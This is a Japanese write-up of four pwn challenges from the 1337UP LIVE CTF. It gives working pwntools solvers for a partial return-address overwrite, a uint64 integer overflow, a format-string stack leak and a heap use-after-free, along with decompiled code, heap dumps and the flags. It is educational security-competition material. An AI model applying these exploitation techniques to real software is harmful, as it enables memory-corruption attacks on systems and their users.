🐾

1337UP LIVE CTF Writeup

2023/11/19に公開

0nePaddingで参加して32位でした。
Pwnを4問解いたのでWriteupを残したいと思います。

Hidden

配布ファイル

  • chall(問題バイナリ)
  • flag.txt
$ file chall
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0087fd4f83e7092fb26d25e096cafb5ce43efdcd, for GNU/Linux 3.2.0, not stripped

$ checksec chall
[*] '/home/ubuntu/ctf/2023/1337upctf/hidden/local/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

ソースコードが配布されないので、Ghidraでデコンパイルしてみます。
以下はデコンパイル結果の一部です。

undefined8 main(EVP_PKEY_CTX *param_1)

{
  long lVar1;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  init(param_1);
  puts("Can you find the hidden truth?");
  puts("Lets see!");
  input();
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
undefined8 input(void)

{
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined2 local_18;
  
  local_48 = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  local_18 = 0;
  puts("Tell me something:");
  read(0,&local_48,0x50);
  printf("I remember what you said: ");
  puts((char *)&local_48);
  return 0;
}
void _(void)

{
  int iVar1;
  FILE *__stream;
  
  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
    perror("flag.txt not found! If this happened on the server, contact the author please!");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  do {
    iVar1 = fgetc(__stream);
    putchar((int)(char)iVar1);
  } while ((char)iVar1 != -1);
  fclose(__stream);
  return;
}

main関数からinput関数をコールし、input関数ではread()で標準入力から0x50分の値を受け取ります。

また、input関数のスタックフレームにはカナリアがないのでリターンアドレスを上書きできます。
PIEは有効ですが、関数アドレスの下位3nibbleは固定されているので、Savedripの下位2バイトを
上書きすれば1/16で、_関数にジャンプできます。

ただし、_関数の開始アドレスに飛ぶとアラインメントの関係でエラーになってしまうので、_0x00005555555551da <+1>: mov rbp,rsp
にジャンプさせています。
以下solverです。

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

gdbscript = '''
init-pwndbg
b *main+63
b *input+94
continue
'''.format(**locals())

exe = "./chall"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
context.arch="amd64"

io = start()
payload = b"a"*0x48
payload += b"\xda\x51"  
io.sendafter(b"something:",payload)

io.interactive()

#INTIGRITI{h1dd3n_r3T2W1n_G00_BrrRR}

感想

解いた後に気づきましたが、printfで入力値を出力してくれていたのでelfアドレスをリークすればもっと安定した解き方ができます。
解き方が雑、反省。

感想2

canaryは有効なのにinput関数や_関数にはcanaryがないのはなんでだろう?と思い、作問者に質問したところ、コンパイル時に-fstack-protector-explicit オプションを付けるとstack_protect属性を持つ関数のみcanaryが有効になるそうです。
知らなかった…
作問者の0xM4hm0udさん、教えていただきありがとうございます…

参考: https://gcc.gnu.org/onlinedocs/gcc/Instrumentation-Options.html

Over The Edge

配布ファイル

  • over_the_edge.py

ソースコードを確認すると、if (num2[0] - num1[0]) == 1337を満たすことが出来ればFlagをもらえるようです。

import numpy as np
import warnings
import socket, sys
import threading

warnings.filterwarnings("ignore", category=RuntimeWarning)
warnings.filterwarnings("ignore", category=DeprecationWarning)

def process_input(input_value):
    num1 = np.array([0], dtype=np.uint64)
    num2 = np.array([0], dtype=np.uint64)
    num2[0] = 0
    a = input_value
    if a < 0:
        return "Exiting..."
    num1[0] = (a + 65)
    if (num2[0] - num1[0]) == 1337:
        return 'You won!\n'
    return 'Try again.\n'

def handle_client(client_socket, client_address):
    try:
        print(f"Accepted connection from {client_address}")
        client_socket.send(b"Time to jump over the edge!\n")
        client_socket.send(b"")
        while True:
            input_data = client_socket.recv(1024).decode().strip()
            if not input_data:
                break

            input_value = int(input_data)
            response = process_input(input_value)
            if response == 'You won!\n':
                with open("flag", "r") as flag_file:
                    flag_content = flag_file.read()
                    client_socket.send(flag_content.encode())
                client_socket.close()
                break

            else:
                client_socket.send(response.encode())

        client_socket.close()
        print(f"Connection from {client_address} closed")
    except:
        client_socket.close()

def main():
    host = '0.0.0.0'
    port = 1337

    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind((host, port))
    server_socket.listen()
    print(f"Listening on {host}:{port}")

    while True:
        client_socket, client_address = server_socket.accept()
        client_thread = threading.Thread(target=handle_client, args=(client_socket, client_address))
        client_thread.start()
  
if __name__ == "__main__":
    main()

np.uint64(符号なし整数)が使われているので0xffffffffffffffff - 1337 +65 +1 = 0xfffffffffffffa86(18446744073709550214)を入力すれば条件を満たせそうです。

念のためpdbで処理を追ってみます。
ドキュメントを見ると、デバッグしたい箇所に以下の処理を追加すればよさそうです。

import pdb; pdb.set_trace()

今回は a =input_valueの直後でブレークしてみます。
問題のプログラムを実行すると以下のように、ブレークされます。
その後lコマンドでソースコード表示しています。

$ python3 over_the_edge.py
Listening on 0.0.0.0:1337
Accepted connection from ('127.0.0.1', 52412)
> /home/ubuntu/ctf/2023/1337upctf/OverTheEdge/over_the_edge.py(15)process_input()
-> if a < 0:
(Pdb) l
 10         num1 = np.array([0], dtype=np.uint64)
 11         num2 = np.array([0], dtype=np.uint64)
 12         num2[0] = 0
 13         a = input_value
 14         import pdb; pdb.set_trace()
 15  ->     if a < 0:
 16             return "Exiting..."
 17         num1[0] = (a + 65)
 18         if (num2[0] - num1[0]) == 1337:
 19             return 'You won!\n'
 20         return 'Try again.\n'

また、pコマンドで変数の値を表示、nコマンドでステップオーバーで1行づつ実行できます。

(Pdb) p input_value
16
(Pdb) n
> /home/ubuntu/ctf/2023/1337upctf/OverTheEdge/over_the_edge.py(17)process_input()
-> num1[0] = (a + 65)

if (num2[0] - num1[0]) == 1337まで実行したところで以下のコマンドで比較される値を確認してみます。

(Pdb) p num2[0] - num1[0]
18446744073709551535

18446744073709551535が表示されました。num2,num1は符号なし整数の型を取っているため、整数オーバフローが発生します。
この悪用を防ぐためにマイナスの値を入力するとreturnするようになっていますが、プラスの値には制限がありません。
あとは最初の想定通り、18446744073709550214を入力すればflagです。

$ echo "18446744073709550214" | nc edge.ctf.intigriti.io 1337
Time to jump over the edge!
INTIGRITI{fUn_w1th_1nt3g3r_0v3rfl0w_11}

Floor Mat Store

配布ファイル

  • floormats(問題バイナリ)

fsbの問題でした。
ソースコードが配布されないのでGhidraでデコンパイルします。
以下Ghidraのデコンパイル結果です。


undefined8 main(void)

{
  int iVar1;
  long in_FS_OFFSET;
  int local_128;
  int local_124;
  __gid_t local_120;
  int local_11c;
  char *local_118;
  FILE *local_110;
  char *local_108 [4];
  char *local_e8;
  char *local_e0;
  char local_d8 [64];
  char local_98 [136];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(stdout,(char *)0x0,2,0);
  local_108[0] = "1. Cozy Carpet Mat - $10";
  local_108[1] = "2. Wooden Plank Mat - $15";
  local_108[2] = "3. Fuzzy Shag Mat - $20";
  local_108[3] = "4. Rubberized Mat - $12";
  local_e8 = "5. Luxury Velvet Mat - $25";
  local_e0 = "6. Mysterious Flag Mat - $1337";
  local_118 = local_d8;
  local_120 = getegid();
  setresgid(local_120,local_120,local_120);
  local_110 = fopen("flag.txt","r");
  if (local_110 == (FILE *)0x0) {
    puts("You have a flag.txt, right??");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts(
      "Welcome to the Floor Mat store! It\'s kind of like heaven.. for mats.\n\nPlease choose from o ur currently available floor mats\n\nNote: Out of stock items have been temporarily delisted\n "
      );
  puts("Please select a floor mat:\n");
  for (local_124 = 0; local_124 < 5; local_124 = local_124 + 1) {
    puts(local_108[local_124]);
  }
  puts("\nEnter your choice:");
  __isoc99_scanf(&DAT_001021b6,&local_128);
  if ((0 < local_128) && (local_128 < 7)) {
    local_11c = local_128 + -1;
    do {
      iVar1 = getchar();
    } while (iVar1 != 10);
    if (local_11c == 5) {
      fgets(local_d8,0x40,local_110);
    }
    puts("\nPlease enter your shipping address:");
    fgets(local_98,0x80,stdin);
    puts("\nYour floor mat will be shipped to:\n");
    printf(local_98);
    if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
      __stack_chk_fail();
    }
    return 0;
  }
  puts("Invalid choice!\n");
                    /* WARNING: Subroutine does not return */
  exit(1);
}

以下の箇所にfsbがあります。

    fgets(local_98,0x80,stdin);
    puts("\nYour floor mat will be shipped to:\n");
    printf(local_98);

バイナリを実行すると以下のような出力があります。

$ ./floormats
Welcome to the Floor Mat store! It's kind of like heaven.. for mats.

Please choose from our currently available floor mats

Note: Out of stock items have been temporarily delisted

Please select a floor mat:

1. Cozy Carpet Mat - $10
2. Wooden Plank Mat - $15
3. Fuzzy Shag Mat - $20
4. Rubberized Mat - $12
5. Luxury Velvet Mat - $25

Enter your choice:

selectできるfloor matは5つですが、デコンパイル結果を見ると、6を入力した際には
flagの値をスタックに格納してくれるようです。
そのためfsbを使ってスタック内をリークすることでflagを得られます。

以下solverです。

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)
  

gdbscript = '''
init-pwndbg
b *main+63
b *input+94
continue
'''.format(**locals())


exe = "./floormats"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
context.arch="amd64"
  

flag = ""
for i in range(10,32):
    io = start()
    payload = f"%{i}$p"
    io.sendlineafter(b"Please select a floor mat:",b"6")
    io.sendlineafter(b"Please enter your shipping address:",payload)
    io.recvuntil(b"Your floor mat will be shipped to:\n\n")
    res = io.recvline()[:-1]
    try:
        res = unhex(res.strip().decode()[2:])
        res = res[::-1].decode()
        if "INTIGRIT" not in res and "INTIGRIT" not in flag:
            continue
        if "}" in flag:
            break
        flag +=res
        
    except:
        pass
    io.close()

print(flag)
io.interactive()

#INTIGRITI{50_7h475_why_7h3y_w4rn_4b0u7_pr1n7f}

Maltigriti

配布ファイル

  • maltigriti.c
  • maltigriti
  • Dockerfile
  • Makefile

use-after-freeの問題でした。
以下バイナリの情報と緩和機構の有無です。

$ file maltigriti
maltigriti: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b5c25c035099462711e959e8a3fcbe6e49f63636, for GNU/Linux 3.2.0, with debug_info, not stripped
$ checksec --file maltigriti
[*] '/home/ubuntu/ctf/2023/1337upctf/maltirgriti/maltigriti'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

ソースコードを確認します。

// pwn/maltigriti
// by c0nrad - Sloppy Joe Pirates
// Enjoy <3

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char STATUS_ACCEPTED = 'A';
const char STATUS_REJECTED = 'R';
const char STATUS_DUPLICATE = 'D';

struct User {
    char name[32];
    char password[32];
    int bio_length;
    char *bio;
};

struct Report {
    struct User *user;
    char status;
    long bounty;
    char title[32];
    char body[128];
    struct Report *next;
};

void print_reports(struct Report *report) {
    int counter = 1;
    while (report != NULL) {
        printf("--- Report #%d ---\n", counter++);
        printf("Title: %s\n", report->title);
        printf("Body: %s\n", report->body);

        if (report->status == STATUS_ACCEPTED) {
            printf("Status: Accepted\n");
        } else if (report->status == STATUS_REJECTED) {
            printf("Status: Rejected\n");
        } else if (report->status == STATUS_DUPLICATE) {
            printf("Status: Duplicate\n");
        } else {
            printf("Status: Unknown\n");
        }

        printf("Bounty: %ld\n", report->bounty);
        report = report->next;
    }
}

void setup() {
    setvbuf(stdin, (char *)0x0, 2, 0);
    setvbuf(stdout, (char *)0x0, 2, 0);
    setvbuf(stderr, (char *)0x0, 2, 0);
}

void menu() {
    puts("\n\n--- Welcome to maltigriti's bug bounty reporting system! ---");
    puts("0. Register User");
    puts("1. Edit User");
    puts("2. Submit a bug report");
    puts("3. Print Reports");
    puts("4. Print Balance");
    puts("5. Buy Swag Pack");
    puts("6. Logout");
    puts("7. Exit");
    printf("menu> ");
}

void edit_user(struct User *user) {
    if (user != 0 && user->bio != NULL) {
        printf("Your current bio is: %s\n", user->bio);
        printf("Enter your new bio> ");
        fgets(user->bio, user->bio_length, stdin);
    } else {
        puts("You don't have a bio yet!");
        printf("How long is your bio> ");

        scanf("%d", &user->bio_length);
        getchar();

        user->bio = malloc(user->bio_length);
        printf("Enter your new bio> ");

        fgets(user->bio, user->bio_length, stdin);
    }
}

void logout(struct User *user) {
    if (user != NULL) {
        memset(user->name, 0, 32);
        memset(user->password, 0, 32);
        memset(user->bio, 0, user->bio_length);
        free(user->bio);
    }
}

int calculate_balance(struct Report *report, struct User *user) {
    int balance = 0;

    while (report != NULL) {
        if (report->status == STATUS_ACCEPTED && report->user == user) {
            balance += report->bounty;
        }
        report = report->next;
    }
    printf("Your balance is: %d\n", balance);
    return balance;
}

void buy_swag_pack(struct Report *report, struct User *user) {
    if (calculate_balance(report, user) >= 1337) {
        puts("You have enough money to buy a swag pack!");
        puts("With great swag comes great responsibility.");
        puts("Here is your swag pack: flag{redacted_redacted}");
        exit(0);
    } else {
        puts("You don't have enough money to buy a swag pack!");
        puts("Keep submitting bug reports and maybe you'll get there one day!");
        puts(":evil_grin:");
    }
}

struct User *register_user() {
    struct User *user = malloc(sizeof(struct User));

    printf("Enter your name> ");
    fgets(user->name, 32, stdin);

    printf("Enter your password> ");
    fgets(user->password, 32, stdin);

    edit_user(user);
    return user;
}

struct Report *new_report(struct Report *firstReport, struct User *user) {
    struct Report *report = malloc(sizeof(struct Report));

    if (firstReport != NULL) {
        // get last report
        struct Report *scanner = firstReport;
        while (scanner->next != NULL) {
            scanner = scanner->next;
        }
        scanner->next = report;
    } else {
        firstReport = report;
    }

    report->user = user;

    printf("Enter your report title> ");
    fgets(report->title, 32, stdin);

    printf("Please enter the content of your report> ");
    fgets(report->body, 128, stdin);

    // Automatically mark the status as duplicate so we don't have to pay anyone :evil_grin:
    
    report->status = STATUS_DUPLICATE;
    report->bounty = 0;

    puts("Thank you for submitting your bug report!");
    puts("Unfortunately our records indicate that this bug has already been submitted!");
    puts("Report will be closed and marked as duplicate.");
    puts("Hope you didn't spend too much time on it! ( ͡° ͜ʖ ͡°) ");

    return firstReport;
}

int main() {
    struct Report *reports = 0;
    struct User *user = 0;
    int report_count = 0;

    int menu_choice = 0;
    setup();
    while (1) {
        menu();
        scanf("%d", &menu_choice);
        getchar();

        switch (menu_choice) {
            case 0:
                user = register_user();
                break;
            case 1:
                edit_user(user);
                break;
            case 2:
                reports = new_report(reports, user);
                break;
            case 3:
                print_reports(reports);
                break;
            case 4:
                calculate_balance(reports, user);
                break;
            case 5:
                buy_swag_pack(reports, user);
                break;
            case 6:
                logout(user);
                break;
            case 7:
                exit(0);
                break;
            default:
                puts("Invalid choice!");
                break;
        }
    }
}

問題バイナリは以下の機能を持ちます。

  • ユーザの登録/編集機能
  • 報酬額の出力機能
  • バグレポートの登録機能
  • レポートの出力機能
  • sawg(flag)を買う機能
  • ログアウト機能
  • etc

バグレポートを登録し報酬をもらい、合計金額が1337以上になればswagを買えますが、このバイナリでは登録したレポートは自動でstatusをduplicateにするので、通常の方法では実現不可能です。これではいくらレポートを提出しても1円もバウンティをもらえません…なんていうことでしょう。

しかし、バイナリ内のバグを利用すればflagを得れます。
今回のバイナリで気になる処理はログアウト機能です。

void logout(struct User *user) {
    if (user != NULL) {
        memset(user->name, 0, 32);
        memset(user->password, 0, 32);
        memset(user->bio, 0, user->bio_length);
        free(user->bio);
    }
}

ログアウト実行時、ユーザ構造体メンバのname,password,bioを0で埋めますが、bio_lengthとbioへのポインタはそのままです。

このポインタはregister_user関数からedit_user関数をコールした際にユーザの定義したサイズ分のメモリが確保された際のものです。

またedit_user関数を直接コールした場合(menuで1をセレクトした場合)はuser->bioをプリントした後、user->bioを編集できます。

これを利用してReport構造体を上書きできないかと考えました。

攻略の手順は以下の通りです。

  1. register_user関数でuserを登録する
  2. その際、bio_lengthをReport構造体と同じサイズである、192に指定する
  3. logout関数を実行する
  4. new_report関数を実行する
  5. edit_user関数でReport構造体のメンバuser,status,bountyを上書きする
  6. calculate_balance関数を実行する
  7. buy_swag_pack関数を実行する

1つ1つ確認していきます。
まずregister_user関数でuserを登録した後のheapの様子を見てみます。
以下はregister_user関数からedit_user関数をコールした直後のheapの中身です。

pwndbg>vis
-- snip -- 
0x555555559290  0x0000000000000000      0x0000000000000061      ........a.......
0x5555555592a0  0x7265737574736574      0x000000000000000a      testuser........
0x5555555592b0  0x0000000000000000      0x0000000000000000      ................
0x5555555592c0  0x7373617074736574      0x000000000000000a      testpass........
0x5555555592d0  0x0000000000000000      0x0000000000000000      ................
0x5555555592e0  0x0000000000000000      0x0000000000000000      ................
0x5555555592f0  0x0000000000000000      0x0000000000020d11      ................         <-- Top chunk
pwndbg>

0x555555559290にheaderが登録され、0x5555555592a0から0x5555555592f0までの0x50分のメモリが確保されています。
まだbioは登録されていません。

そのまま処理を進め、edit_user関数の処理が終わったところでbreakします。
以下はその際のheapの一部です。

bioへのポインタがuser構造体に追加され、bio_length分のメモリが確保されています。

0x555555559290  0x0000000000000000      0x0000000000000061      ........a.......
0x5555555592a0  0x7265737574736574      0x000000000000000a      testuser........
0x5555555592b0  0x0000000000000000      0x0000000000000000      ................
0x5555555592c0  0x7373617074736574      0x000000000000000a      testpass........
0x5555555592d0  0x0000000000000000      0x0000000000000000      ................
0x5555555592e0  0x00000000000000c0      0x0000555555559300      ..........UUUU..

0x5555555592f0  0x0000000000000000      0x00000000000000d1      ................
0x555555559300  0x306f696274736574      0x000000000000000a      testbio0........
0x555555559310  0x0000000000000000      0x0000000000000000      ................
0x555555559320  0x0000000000000000      0x0000000000000000      ................
0x555555559330  0x0000000000000000      0x0000000000000000      ................
0x555555559340  0x0000000000000000      0x0000000000000000      ................
0x555555559350  0x0000000000000000      0x0000000000000000      ................
0x555555559360  0x0000000000000000      0x0000000000000000      ................
0x555555559370  0x0000000000000000      0x0000000000000000      ................
0x555555559380  0x0000000000000000      0x0000000000000000      ................
0x555555559390  0x0000000000000000      0x0000000000000000      ................
0x5555555593a0  0x0000000000000000      0x0000000000000000      ................
0x5555555593b0  0x0000000000000000      0x0000000000000000      ................
0x5555555593c0  0x0000000000000000      0x0000000000020c41      ........A.......

次にlogout関数を実行します。
その際のheapの一部を以下に示します。

0x555555559290  0x0000000000000000      0x0000000000000061      ........a.......
0x5555555592a0  0x0000000000000000      0x0000000000000000      ................
0x5555555592b0  0x0000000000000000      0x0000000000000000      ................
0x5555555592c0  0x0000000000000000      0x0000000000000000      ................
0x5555555592d0  0x0000000000000000      0x0000000000000000      ................
0x5555555592e0  0x00000000000000c0      0x0000555555559300      ..........UUUU..
0x5555555592f0  0x0000000000000000      0x00000000000000d1      ................
0x555555559300  0x0000000555555559      0xf52c9a0c7d4faacd      YUUU......O}..,.         <-- tcachebins[0xd0][0/1]
0x555555559310  0x0000000000000000      0x0000000000000000      ................
0x555555559320  0x0000000000000000      0x0000000000000000      ................
0x555555559330  0x0000000000000000      0x0000000000000000      ................
0x555555559340  0x0000000000000000      0x0000000000000000      ................
0x555555559350  0x0000000000000000      0x0000000000000000      ................
0x555555559360  0x0000000000000000      0x0000000000000000      ................
0x555555559370  0x0000000000000000      0x0000000000000000      ................
0x555555559380  0x0000000000000000      0x0000000000000000      ................
0x555555559390  0x0000000000000000      0x0000000000000000      ................
0x5555555593a0  0x0000000000000000      0x0000000000000000      ................
0x5555555593b0  0x0000000000000000      0x0000000000000000      ................
0x5555555593c0  0x0000000000000000      0x0000000000020c41      ........A.......         <-- Top chunk

user->bioがfreeされ、tcachebins[0xc0]につながれています。
次にnew_report関数を実行し、reportを作成します。

この関数内の処理ではmalloc(0xc0)でReport構造体分のメモリを確保します。
この際に確保されるのはtcachebins[0xc0]につながれている0x555555559300になるはずです。

0x5555555557e9 <new_report+25>    call   malloc@plt                <malloc@plt>
        size: 0xc0

さらに処理を進め、new_report関数からリターンするところでbreakします。

この際のheapは以下のようになっています。

0x555555559290  0x0000000000000000      0x0000000000000061      ........a.......
0x5555555592a0  0x0000000000000000      0x0000000000000000      ................
0x5555555592b0  0x0000000000000000      0x0000000000000000      ................
0x5555555592c0  0x0000000000000000      0x0000000000000000      ................
0x5555555592d0  0x0000000000000000      0x0000000000000000      ................
0x5555555592e0  0x00000000000000c0      0x0000555555559300      ..........UUUU..

0x5555555592f0  0x0000000000000000      0x00000000000000d1      ................
0x555555559300  0x00005555555592a0      0x0000000000000044      ..UUUU..D.......
0x555555559310  0x0000000000000000      0x6f70657274736574      ........testrepo
0x555555559320  0x000000000000000a      0x0000000000000000      ................
0x555555559330  0x0000000000000000      0x6f70657274736574      ........testrepo
0x555555559340  0x0a746e65746e6f63      0x0000000000000000      content.........
0x555555559350  0x0000000000000000      0x0000000000000000      ................
0x555555559360  0x0000000000000000      0x0000000000000000      ................
0x555555559370  0x0000000000000000      0x0000000000000000      ................
0x555555559380  0x0000000000000000      0x0000000000000000      ................
0x555555559390  0x0000000000000000      0x0000000000000000      ................
0x5555555593a0  0x0000000000000000      0x0000000000000000      ................
0x5555555593b0  0x0000000000000000      0x0000000000000000      ................
0x5555555593c0  0x0000000000000000      0x0000000000020c41      ........A.......

目論見通り、tcachebins[0xc0]につながれていた、0x555555559300からのチャンクがReport構造体用に確保されています。
このアドレスは0x5555555592e8にuser->bioとして登録されているものです。
そのため、edit_user関数からreportのメンバを上書きできるようになりました。

次にedit_user関数を実行します。
edit_user関数はif (user != 0 && user->bio != NULL)を満たさないと新しくuser->bioを確保してしまいますが、user構造体へのポインタはスタックに残存しており、main関数からedit_user関数をコールすることでこの条件を満たすことができます。

以下はedit_user関数を実行した際の挙動とheapの様子です。

Your current bio is: ��UUUU
Enter your new bio> aaaaaaaabbbbbbbbccccccc

heap
0x555555559290  0x0000000000000000      0x0000000000000061      ........a.......
0x5555555592a0  0x0000000000000000      0x0000000000000000      ................
0x5555555592b0  0x0000000000000000      0x0000000000000000      ................
0x5555555592c0  0x0000000000000000      0x0000000000000000      ................
0x5555555592d0  0x0000000000000000      0x0000000000000000      ................
0x5555555592e0  0x00000000000000c0      0x0000555555559300      ..........UUUU..
0x5555555592f0  0x0000000000000000      0x00000000000000d1      ................
0x555555559300  0x6161616161616161      0x6262626262626262      aaaaaaaabbbbbbbb
0x555555559310  0x0a63636363636363      0x6f70657274736500      ccccccc..estrepo
0x555555559320  0x000000000000000a      0x0000000000000000      ................
0x555555559330  0x0000000000000000      0x6f70657274736574      ........testrepo
0x555555559340  0x0a746e65746e6f63      0x0000000000000000      content.........
0x555555559350  0x0000000000000000      0x0000000000000000      ................
0x555555559360  0x0000000000000000      0x0000000000000000      ................
0x555555559370  0x0000000000000000      0x0000000000000000      ................
0x555555559380  0x0000000000000000      0x0000000000000000      ................
0x555555559390  0x0000000000000000      0x0000000000000000      ................
0x5555555593a0  0x0000000000000000      0x0000000000000000      ................
0x5555555593b0  0x0000000000000000      0x0000000000000000      ................
0x5555555593c0  0x0000000000000000      0x0000000000020c41      ........A.......

Youer current bio is: からの出力は文字化けしていますがこれはReport->user(0x00005555555592a0)を出力しています。
※上記のheapの様子ではa*8に上書きされていますが、printfされる際には上書きされる前なのでまだ残っています。
またRepoert->status,bountyも上書きされていることを確認できます。
試しにprint_report関数を実行し、report内容を確認してみます。

実行結果は以下の通りです。
heapダンプで分かっていた通りですが、reportメンバの上書きが出来ています。

--- Report #1 ---
Title:
Body: testrepocontent

Status: Unknown
Bounty: 748551241594004323

このままバウンティを大量にもらえそうなのでこのままflag、と行きたいところですが、Repoer->user, statusを適切に上書きする必要があります。

ここで、calculate_balance関数の処理を確認します。

int calculate_balance(struct Report *report, struct User *user) {
    int balance = 0;

    while (report != NULL) {
        if (report->status == STATUS_ACCEPTED && report->user == user) {
            balance += report->bounty;
        }
        report = report->next;
    }
    printf("Your balance is: %d\n", balance);
    return balance;
}

この関数では引数としてreportとuserを受け取り、reportのstatusがアクセプトかつreportに登録されているuserが引数で渡されたuserと一致しているならbalanceにreportのバウンティを加算します。
その後balanceを返します。

現在のユーザーはedit_user関数をコールした際に確認した通り、0x5555555592a0として認識されます。

また、report->status == STATUS_ACCEPTEDを満たすためには該当のアドレスに"A"を入れておけばクリアできます。

これで必要な情報はそろいました。
以下はsolverになります。

from pwn import *


def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

gdbscript = '''
init-pwndbg
continue
'''.format(**locals())


exe = "./maltigriti"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
context.arch="amd64"

def menu(io,n_menu):
    io.sendlineafter("--- Welcome to maltigriti's bug bounty reporting system! ---",n_menu)


io = start()
io.sendline(b"0")
io.sendlineafter(b"name>",b"testuser")
io.sendlineafter(b"password>",b"testpass")
io.sendlineafter(b"bio",b"192")
io.sendlineafter(b"new bio",b"testbio")
menu(io,b"6")
menu(io,b"2")
io.sendlineafter(b"title",b"testtitle")
io.sendlineafter(b"report>",b"testrepo")
menu(io,b"1")
io.recvuntil(b"Your current bio is: ")
userptr = u64(io.recvline()[:-1] +b"\x00\x00")
info("userptr %#x",userptr)
payload =p64(userptr)
payload +=b"A" + b"\x00"*7
payload +=b"B"*7
io.sendlineafter(b"new bio>",payload)

menu(io,b"5")


io.interactive()

#INTIGRITI{u53_4f73r_fr33_50und5_600d_70_m3}

感想

色んな意味でいい問題だったと思います。
heapの復習になりました。

Discussion